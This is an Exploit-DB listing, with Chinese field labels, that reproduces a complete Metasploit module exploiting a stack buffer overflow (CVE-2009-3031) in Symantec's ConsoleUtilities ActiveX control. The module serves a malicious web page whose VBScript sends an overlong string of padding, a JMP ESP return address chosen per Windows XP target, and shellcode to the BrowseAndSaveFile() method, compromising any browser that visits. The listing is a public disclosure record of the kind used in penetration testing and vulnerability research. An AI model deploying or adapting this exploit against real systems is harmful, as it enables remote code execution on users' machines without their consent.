标题: Symantec ConsoleUtilities - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16613 CVE: 2009-3031 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: symantec_consoleutilities_browseandsavefile.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.
    By sending an overly long string to the "BrowseAndSaveFile()" method located
    in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
    execute arbitrary code
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Nikolas Sotiriu (lofi)' ],
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2009-3031'],
     [ 'OSVDB', '59597'],
     [ 'BID', '36698'],
     [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
     [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1000,
     'BadChars'      => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3 English',      { 'Ret' => 0x7e47bcaf } ],
     [ 'Windows XP SP2 Universal',     { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
     [ 'Windows XP SP2 Pro German',      { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
     [ 'Windows XP SP3 Pro German',      { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
    ],
   'DisclosureDate' => 'Nov 02 2009',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize variables
  vname   = rand_text_alpha(rand(20) + 1)
  junk    = rand_text_alpha(rand(20) + 1)
  eip     = rand_text_alpha(rand(20) + 1)
  morejunk = rand_text_alpha(rand(20) + 1)
  sc      = rand_text_alpha(rand(20) + 1)
  buf = rand_text_alpha(rand(20) + 1)

  # Set RET and shellcode
  ret = Rex::Text.to_unescape([target.ret].pack('V'))
  shellcode = Rex::Text.to_unescape(p.encoded)

  # Build the Site
  content = %Q|
 <html>
  <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='#{vname}'></object>
  <script language='vbscript'>

  #{junk}=String(310,"A")
  #{eip}=unescape("#{ret}")
  #{morejunk}=String(18, unescape("%u0041"))
  #{sc}=unescape("#{shellcode}")

  #{buf}=#{junk}+#{eip}+#{morejunk}+#{sc}
  #{vname}.BrowseAndSaveFile "",#{buf},"","",""
  </script>
 </html>
  |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16613